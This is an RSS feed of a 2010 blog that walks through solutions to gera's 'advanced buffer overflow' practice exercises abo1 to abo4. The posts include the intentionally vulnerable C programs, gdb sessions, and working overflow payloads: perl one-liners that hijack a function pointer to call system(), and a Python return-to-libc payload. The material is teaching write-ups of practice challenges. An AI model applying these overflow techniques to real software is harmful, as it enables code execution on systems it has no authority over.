<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>One ABO per week.</title>
	<atom:link href="http://oneaboperweek.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://oneaboperweek.wordpress.com</link>
	<description>Growing security padawans...</description>
	<lastBuildDate>Fri, 07 Oct 2011 14:53:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='oneaboperweek.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>One ABO per week.</title>
		<link>http://oneaboperweek.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://oneaboperweek.wordpress.com/osd.xml" title="One ABO per week." />
	<atom:link rel='hub' href='http://oneaboperweek.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Solving abo #4</title>
		<link>http://oneaboperweek.wordpress.com/2010/07/08/solving-abo-4/</link>
		<comments>http://oneaboperweek.wordpress.com/2010/07/08/solving-abo-4/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 21:31:26 +0000</pubDate>
		<dc:creator>jfort</dc:creator>
				<category><![CDATA[Abo&#039;s Solution]]></category>
		<category><![CDATA[Advanced buffer Overflow]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://oneaboperweek.wordpress.com/?p=295</guid>
		<description><![CDATA[Let&#8217;s move forward, this time solving abo4.c If you have no doubts on how to solve abo3, this one will be fairly easy. First, let&#8217;s take a look at the code: /* abo4.c * specially crafted to feed your brain by gera@core-sdi.com */ /* After this one, the next is just an Eureka! away */ [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=295&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Let&#8217;s move forward, this time solving abo4.c If you have no doubts on how to solve abo3, this one will be fairly easy.</p>
<p>First, let&#8217;s take a look at the code:</p>
<blockquote><p><code>/* abo4.c<br />
* specially crafted to feed your brain by gera@core-sdi.com */</code></p>
<p>/* After this one, the next is just an Eureka! away          */</p>
<p>extern system,puts;<br />
void (*fn)(char*)=(void(*)(char*))&amp;system;</p>
<p>int main(int argv,char **argc) {<br />
char *pbuf=malloc(strlen(argc[2])+1);<br />
char buf[256];</p>
<p>fn=(void(*)(char*))&amp;puts;<br />
strcpy(buf,argc[1]);<br />
strcpy(pbuf,argc[2]);<br />
fn(argc[3]);<br />
while(1);<br />
}</p></blockquote>
<p><span id="more-295"></span></p>
<p>A quick look at the code reveals we have two insecure calls to strcpy(), with the first one allowing us to overflow &#8216;buf[]&#8216; and &#8216;pbuf&#8217;, a pointer to a malloc&#8217;d area.</p>
<p>Again we have the &#8216;fn&#8217; function pointer, which initially points to the libc address of &#8220;system&#8221; but quickly changes to &#8220;puts&#8221; which, again, is not interesting to us.</p>
<p>|&#8212;&#8212;&#8212;&#8212;&#8211;<br />
|   *pbuf        | &#8212;-&gt; points to the address returned by malloc()<br />
|- &#8211; - &#8211; -  &#8211; - -<br />
|  buf[256] |<br />
|&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>As you can notice, *pbuf a pointer &#8212; that is, nothing but a variable that holds the value for another variable. With that said, through the first strcpy() we can overflow &#8216;buf[]&#8216; in order to touch the contents of &#8216;pbuf&#8217;, which right after main() kicks in, holds the value of &#8220;puts&#8221;.</p>
<p>We can replace the content of &#8216;pbuf&#8217; with something else, say the value of &#8216;fn&#8217;. When the second strcpy() gets executed, we will get &#8220;argc[2]&#8221; copied to whatever &#8216;pbuf&#8217; is pointing to. Later, we have &#8216;fn&#8217; being called with &#8220;argc[3]&#8221; as its only argument.</p>
<p>See our strategy? In the first strcpy() we will modify the value stored within &#8216;pbuf&#8217; for the value of &#8216;fn&#8217;. The second strcpy() will replace the pointer stored in &#8216;fn&#8217; (namely &#8220;puts&#8221;) with the libc address of &#8220;system&#8221;, and when the code calls &#8220;fn(argc[3])&#8221; it will be actually calling &#8220;system(argc[3])&#8221;, ultimately executing whatever command we want.</p>
<p>&lt;pre&gt;</p>
<p>|&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
|          &amp;fn             |  &#8212;-&gt; points to &#8220;puts&#8221;<br />
|- &#8211; - &#8211; - &#8211; - &#8212; |<br />
|  AAAAA&#8230; |  buf[256]<br />
|&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>&lt;/pre&gt;</p>
<p>On gdb we set a breakpoint in main() to get the addresses of variables and pointers we intend to mess with:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
(gdb) step<br />
10      char *pbuf=malloc(strlen(argc[2])+1);<br />
(gdb) x/x &amp;pbuf<br />
0xbffffcd0: 0&#215;00000000</p>
<p>(gdb) x/x &amp;fn<br />
0x804969c : 0x080482ec<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Addresses<br />
- &amp;fn: 0x804969c (points to 0x080482ec, address of newly allocated area)<br />
- &amp;system: 0xb7ee8990</p>
<p># ./abo4 `perl -e &#8216;print &#8220;A&#8221;x256 . &#8220;\x9c\x96\x04\x08&#8243;&#8216;` `perl -e &#8216;print &#8220;\x90\x89\xee\xb7&#8243;&#8216;` &#8220;echo you win&#8221;<br />
you win</p>
<p>Exploiting it stepping through the code inside the debugger can help clarify this process. Wait around for the solution of abo5.c.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oneaboperweek.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oneaboperweek.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oneaboperweek.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oneaboperweek.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oneaboperweek.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oneaboperweek.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oneaboperweek.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oneaboperweek.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oneaboperweek.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oneaboperweek.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oneaboperweek.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oneaboperweek.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oneaboperweek.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oneaboperweek.wordpress.com/295/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=295&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://oneaboperweek.wordpress.com/2010/07/08/solving-abo-4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/18efeafbc5d9f999eee1ac7beb562f13?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jfort</media:title>
		</media:content>
	</item>
		<item>
		<title>Solving abo #3</title>
		<link>http://oneaboperweek.wordpress.com/2010/07/04/solving-abo-3/</link>
		<comments>http://oneaboperweek.wordpress.com/2010/07/04/solving-abo-3/#comments</comments>
		<pubDate>Sun, 04 Jul 2010 16:41:28 +0000</pubDate>
		<dc:creator>jfort</dc:creator>
				<category><![CDATA[Advanced buffer Overflow]]></category>

		<guid isPermaLink="false">http://oneaboperweek.wordpress.com/?p=291</guid>
		<description><![CDATA[Hi everyone! After a long time sitting on my ass and not solving any abo&#8217;s (kudos to Cesar for being more determined than me), here I am again with my solution to abo3.c. I found this one pretty simple if compared to previous ones (namely abo1.c and abo2.c, although they were no big deal too). [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=291&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Hi everyone!</p>
<p>After a long time sitting on my ass and not solving any abo&#8217;s (kudos to Cesar for being more determined than me), here I am again with my solution to abo3.c.<br />
<span id="more-291"></span></p>
<p>I found this one pretty simple if compared to previous ones (namely abo1.c and abo2.c, although they were no big deal too).</p>
<p><code><br />
/* abo3.c                                                    *<br />
 * specially crafted to feed your brain by gera@core-sdi.com */</p>
<p>/* This'll prepare you for The Next Step                     */</p>
<p>int main(int argv,char **argc) {<br />
	extern system,puts;<br />
	void (*fn)(char*)=(void(*)(char*))&amp;system;<br />
	char buf[256];</p>
<p>	fn=(void(*)(char*))&amp;puts;<br />
	strcpy(buf,argc[1]);<br />
	fn(argc[2]);<br />
	exit(1);<br />
}<br />
</code><br />
<!--more--><br />
Taking a look at the code we can quickly have an idea of what we are going to exploit. We have &#8216;fn&#8217;, a pointer to a function, which is initially pointing to the libc address of &#8220;system&#8221; and a fixed-size buffer that can be overflowed later with the call to strcpy().</p>
<p>In our current memory layout, &#8216;buf[]&#8216; sits in a lower address than &#8216;fn&#8217;.<br />
In order to verify this, I set a breakpoint on main and let it run<br />
for a bit:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
(gdb) break *main<br />
Breakpoint 1 at 0x80483f4: file abo3.c, line 6.<br />
(gdb) r aaa bbb<br />
Starting program: /vulndev/InsecureProgramming/abo3 aaa bbb</p>
<p>After some &#8216;step&#8217; commands, I got this:</p>
<p>(gdb) x/x &amp;fn<br />
0xbffffce4:	0x080482fc<br />
(gdb) x/x buf<br />
0xbffffbe4:	0&#215;00616161<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Back with the code: after running for a while, &#8216;fn&#8217; has its value changed to the address of &#8220;puts&#8221;, which isn&#8217;t interesting for us. Later, the first argument is copied into &#8216;buf[]&#8216;, no bounds check performed. Then the function pointer &#8216;fn&#8217; is called with the second argument as its parameter.</p>
<p>As we can overflow &#8216;buf[]&#8216; and end up overwriting the value held in &#8216;fn&#8217;, we just need to obtain the libc address of &#8220;system&#8221; and ultimately overwrite the content of &#8216;fn&#8217; &#8212; previously pointing to &#8220;puts&#8221; &#8212; with this address.</p>
<p>Back to gdb we can have:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
(gdb) p &amp;system<br />
$2 = (int *) 0xb7ee8990<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Now on with the exploitation:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
./abo3 `perl -e &#8216;print &#8220;A&#8221;x256 . &#8220;\x90\x89\xee\xb7&#8243;&#8216;` &#8220;echo you win&#8221;<br />
<strong>you win</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Realize this &#8220;you win&#8221; is being echoed to stdout not due to the fact &#8220;puts&#8221; is in place, but because we have actually called system(&#8220;echo you win&#8221;).</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oneaboperweek.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oneaboperweek.wordpress.com/291/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oneaboperweek.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oneaboperweek.wordpress.com/291/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oneaboperweek.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oneaboperweek.wordpress.com/291/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oneaboperweek.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oneaboperweek.wordpress.com/291/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oneaboperweek.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oneaboperweek.wordpress.com/291/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oneaboperweek.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oneaboperweek.wordpress.com/291/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oneaboperweek.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oneaboperweek.wordpress.com/291/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=291&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://oneaboperweek.wordpress.com/2010/07/04/solving-abo-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/18efeafbc5d9f999eee1ac7beb562f13?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jfort</media:title>
		</media:content>
	</item>
		<item>
		<title>Abo #2: Solution!</title>
		<link>http://oneaboperweek.wordpress.com/2010/06/25/abo-2-solution/</link>
		<comments>http://oneaboperweek.wordpress.com/2010/06/25/abo-2-solution/#comments</comments>
		<pubDate>Fri, 25 Jun 2010 13:46:58 +0000</pubDate>
		<dc:creator>cesarbernardini</dc:creator>
				<category><![CDATA[Advanced buffer Overflow]]></category>

		<guid isPermaLink="false">http://oneaboperweek.wordpress.com/?p=278</guid>
		<description><![CDATA[Today, a new abo is ready to be solved! /* abo2.c * * specially crafted to feed your brain by gera */ /* This is a tricky example to make you think * * and give you some help on the next one */ int main(int argv,char **argc) { char buf[256]; strcpy(buf,argc[1]); exit(1); } Also, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=278&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Today, a new abo is ready to be solved!</p>
<table border="1" cellspacing="0" cellpadding="10">
<tbody>
<tr>
<td>
<pre><span style="color:#108010;">
/* <a href="abo2.c">abo2.c</a>                                       *
 * specially crafted to feed your brain by gera */

/* This is a tricky example to make you think   *
 * and give you some help on the next one       */

int main(int argv,char **argc) {
	char buf[256];

	strcpy(buf,argc[1]);
	exit(1);
}
</span></pre>
</td>
</tr>
</tbody>
</table>
<p>Also, gera has posted some things to consider:</p>
<blockquote><p><span>In this new abo, as you can see, we added an <code>exit()</code>.  Go and find out what&#8217;s the difference, what new possibilities this <code>exit()</code> adds, or what constrains it puts on the exploitation of the buffer overflow&#8230;  good luck, take your time, and keep thinking until you are absolutly sure of  what you think&#8230; </span></p></blockquote>
<p>Problem&#8217;s solution after the break.</p>
<p><span id="more-278"></span></p>
<p>What&#8217;s the difference with abo #1? The code is exactly the same but it adds an exit function call&#8230; So what does the function do? Exit ignores the classic return mecanic we have been dealing with and using to exploit other stack warmup and abos&#8217; problems. So, everytime we have an exit (before leave, ret) we don&#8217;t use the leave and ret instructions.</p>
<p>A solution could be overwrite exit function, but <strong>we can&#8217;t</strong>! Exit code&#8217;s function is on a different map than the one we are using to store our information. So this solution is impossible <img src='http://s0.wp.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>So, apparently this abo has no solution! It&#8217;s just a warning about exit function!</p>
<p>Please, comment it! <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
See you next week!!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oneaboperweek.wordpress.com/278/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oneaboperweek.wordpress.com/278/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oneaboperweek.wordpress.com/278/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oneaboperweek.wordpress.com/278/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oneaboperweek.wordpress.com/278/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oneaboperweek.wordpress.com/278/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oneaboperweek.wordpress.com/278/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oneaboperweek.wordpress.com/278/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oneaboperweek.wordpress.com/278/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oneaboperweek.wordpress.com/278/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oneaboperweek.wordpress.com/278/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oneaboperweek.wordpress.com/278/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oneaboperweek.wordpress.com/278/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oneaboperweek.wordpress.com/278/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=278&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://oneaboperweek.wordpress.com/2010/06/25/abo-2-solution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1e2bf2f09802cb8df6e5e96bb182a085?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cesarbernardini</media:title>
		</media:content>
	</item>
		<item>
		<title>Abo #1: Solution!</title>
		<link>http://oneaboperweek.wordpress.com/2010/06/23/abo-1-solution/</link>
		<comments>http://oneaboperweek.wordpress.com/2010/06/23/abo-1-solution/#comments</comments>
		<pubDate>Wed, 23 Jun 2010 12:22:54 +0000</pubDate>
		<dc:creator>cesarbernardini</dc:creator>
				<category><![CDATA[Advanced buffer Overflow]]></category>
		<category><![CDATA[abo]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[insecure programming]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[strcpy]]></category>

		<guid isPermaLink="false">http://oneaboperweek.wordpress.com/?p=266</guid>
		<description><![CDATA[All the warmup is done! It&#8217;s time to start fighting with real abos! The abo to solve is: /* abo1.c * * specially crafted to feed your brain by gera */ /* Dumb example to let you get introduced... */ int main(int argc,char **argv) { char buf[256]; strcpy(buf,argv[1]); } Sooo&#8230; What should we do? Print [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=266&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>All the warmup is done! It&#8217;s time to start fighting with real abos! The abo to solve is:</p>
<table border="1" cellspacing="0" cellpadding="10">
<tbody>
<tr>
<td>
<pre><span style="color:#108010;">
/* <a href="abo1.c">abo1.c</a>                                       *
 * specially crafted to feed your brain by gera */

/* Dumb example to let you get introduced...    */

int main(int argc,char **argv) {
	char buf[256];

	strcpy(buf,argv[1]);
}
</span></pre>
</td>
</tr>
</tbody>
</table>
<p>Sooo&#8230; What should we do? Print again a you win message. It was a rought battle&#8230; I&#8217;m gonna tell you after the break.</p>
<p><span id="more-266"></span><strong>Understanding the program</strong></p>
<p>The abo we have to solve it really easy:</p>
<ul>
<li>Declare a buffer of 256 characters</li>
<li>Copy the argv[1] into the buffer</li>
</ul>
<p>Anything else? Well&#8230; Don&#8217;t! It just does that&#8230; Take a look at printf man page if you don&#8217;t understand anything. So what should be the problem? We can set argv[1] as a longer buffer of more than 256 chars: Buffer Overflow!</p>
<p>It looks really clear what&#8217;s going on, and maybe where are we going&#8230; Anyway, to have a better understand we need to know more about ASM code and stack composition. First of all, I&#8217;m gonna teach some hints about gdb to automatize the process and be less painful.</p>
<p><strong>Learning something about gdb</strong></p>
<p>I&#8217;m gonna talk about some gdb parameters that will help us to test the program and understand the flow:</p>
<p><em>&#8211;command=config_file</em></p>
<p>Command command line argument for gdb allow to set some parameters everytime we start gdb. I&#8217;m gonna start some options that help me to debug the program.</p>
<p><em>Preferred parameters</em></p>
<p>Sometimes is really help full to see the next 10 instructions to execute. It really help me to find out where the program is and what&#8217;s going on:</p>
<blockquote><p>display /10i $eip</p></blockquote>
<p>Also, I hate to type the run and set a breakpoint on the main of the program, here an automatized way:</p>
<blockquote><p>b main</p></blockquote>
<p>Finally, we have been talking about command line arguments for the program (argc, argv). This time we need to set the parameters to call the program (argv[1]):</p>
<blockquote><p>set args &#8220;`cat input`&#8221;</p></blockquote>
<p>On input file we are going to set the characters to make the program explode (oh, that sounds good!).</p>
<p><strong>How the flows goes&#8230;</strong></p>
<p>We have automatized some tedious work with gdb, now we need to understand how the stack is working. So, run gdb and type disas main, to see the code:</p>
<p>[CODE OF ASM]</p>
<p>We can imagine that the stack looks like:</p>
<p><a href="http://oneaboperweek.files.wordpress.com/2010/06/abo1_stack.png"><img class="aligncenter size-medium wp-image-268" title="Abo #1: Stack Composition" src="http://oneaboperweek.files.wordpress.com/2010/06/abo1_stack.png?w=300&#038;h=279" alt="How does the stack look like?" width="300" height="279" /></a></p>
<p><strong>Python can help us!</strong></p>
<p>On previous post, we have been dealing with little endian problems and finding the right way to write some memory address or trying to remember the order where the data went.</p>
<p>I&#8217;m gonna write a little example that will help us to write the buffers and forget about the endianess problems:</p>
<blockquote><p>import struct<br />
assert(struct.pack(&#8220;&lt;L&#8221;, 0&#215;41424344) == &#8220;\x44\x43\x42\x41&#8243;)</p>
<div id=":8x">ret_addres = 0&#215;41424344<br />
pad_len = 100payload = &#8220;&#8221;<br />
payload += &#8220;P&#8221;*pad_len<br />
payload += struct.pack(&#8220;&lt;L&#8221;,ret_address)</p>
<p>print payload</p>
</div>
</blockquote>
<p>Here we use a <a href="http://docs.python.org/library/struct.html">module struct</a> that help us to write the byte sentence into little endian or big endian. Take a look at struct.pack: &lt; for specify the little endian, L to set the character&#8217;s way to interpret; the second parameter is the byte sentence we want to write: 0&#215;41414141 a nice example.</p>
<p>Finally to write the input file to our program we need to write:</p>
<blockquote><p>python programatic_input.py &gt; input</p></blockquote>
<p>We have an input created programatically and clear to other programmer eyes! <img src='http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Turn on the Light: My idea!</p>
<p>We already know how the stack looks like, we need to find out a way to make the program do what we have done later: make the program jump to some place where a printf is called with our desired arguments to print &#8220;you win!&#8221;.</p>
<p>This time we have not a call to printf, we need to find out other way. My idea is&#8230; When the return address is called jump to printf from libc instruction and set the stack with the desired arguments to the pointer to you win string.</p>
<p><strong>Designing the exploit</strong></p>
<p>I hope you have understood my idea. If you don&#8217;t, don&#8217;t worry!</p>
<p>On Stack Warmup #5, we have used a similar technique to jump into some call instruction and formatting the stack the way we want to replace the stack arguments. This time, we need to jump to printf instruction and setting the function arguments manually.</p>
<p>Every function has a first argument that is where to come back after finishing function calculation (ret address), after calling a call this return address is pushed into the stack and the new stack for the function is formatted.</p>
<p>So, we need to configure parameters:</p>
<ol>
<li>Return address after executing print: i decided to use a exit function (how do I get the value? on gdb running the app, I have typed: print exit</li>
<li>Arguments for printf: a pointer to you win string should be enough this time</li>
</ol>
<p>So, it&#8217;s time to decide how to do the buffer overflow:</p>
<blockquote><p>import struct</p>
<p>ret_address = 0xb7edca20<br />
old_ebp = 0xbffff4e8<br />
new_instruction = 0&#215;42424242<br />
pointer_to_you_win_string = 0xbffff4e8<br />
ret_address_for_printf = 0xb7ec25a0</p>
<p>pad_len = 8<br />
buffer_size = 256</p>
<p>payload = &#8220;&#8221;<br />
payload += &#8220;a&#8221;*buffer_size<br />
payload += struct.pack(&#8220;&lt;L&#8221;, old_ebp)<br />
payload += struct.pack(&#8220;&lt;L&#8221;, ret_address)<br />
payload += struct.pack(&#8220;&lt;L&#8221;, ret_address_for_printf)<br />
payload += struct.pack(&#8220;&lt;L&#8221;, pointer_to_you_win_string)<br />
payload += &#8220;d&#8221;*(pad_len*2)<br />
payload += &#8220;you win!&#8221;</p>
<p>print payload</p></blockquote>
<p>Some notes:</p>
<ul>
<li>the exploit is not 100% correctly as you can see pointer to &#8220;you win&#8221; string is setted staticly (looking where I am doing the overflow), so running the exploit win or without gdb will change the address. Maybe, you are seeing some incorrect characters on the printf called.</li>
<li>The return address for printf function is setted to exit function, because I&#8217;m not printing a \n into the you win string so flush is never done. Exit function warantes that flush is done and you win string is printed!</li>
</ul>
<p>Maybe you want to help me to complete it!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oneaboperweek.wordpress.com/266/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oneaboperweek.wordpress.com/266/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oneaboperweek.wordpress.com/266/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oneaboperweek.wordpress.com/266/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oneaboperweek.wordpress.com/266/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oneaboperweek.wordpress.com/266/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oneaboperweek.wordpress.com/266/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oneaboperweek.wordpress.com/266/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oneaboperweek.wordpress.com/266/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oneaboperweek.wordpress.com/266/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oneaboperweek.wordpress.com/266/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oneaboperweek.wordpress.com/266/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oneaboperweek.wordpress.com/266/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oneaboperweek.wordpress.com/266/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oneaboperweek.wordpress.com&amp;blog=12750122&amp;post=266&amp;subd=oneaboperweek&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://oneaboperweek.wordpress.com/2010/06/23/abo-1-solution/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1e2bf2f09802cb8df6e5e96bb182a085?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cesarbernardini</media:title>
		</media:content>

		<media:content url="http://oneaboperweek.files.wordpress.com/2010/06/abo1_stack.png?w=300" medium="image">
			<media:title type="html">Abo #1: Stack Composition</media:title>
		</media:content>
	</item>
		<item>
		<title>Stack Warmup #5: Solution! – Part 2</title>
		<link>http://oneaboperweek.wordpress.com/2010/05/26/abo-5-solution-part-2/</link>
		<comments>http://oneaboperweek.wordpress.com/2010/05/26/abo-5-solution-part-2/#comments</comments>
		<pubDate>Wed, 26 May 2010 19:27:45 +0000</pubDate>
		<dc:creator>cesarbernardini</dc:creator>
				<category><![CDATA[Stack warmup]]></category>
		<category><![CDATA[buffer overflow]]></category>
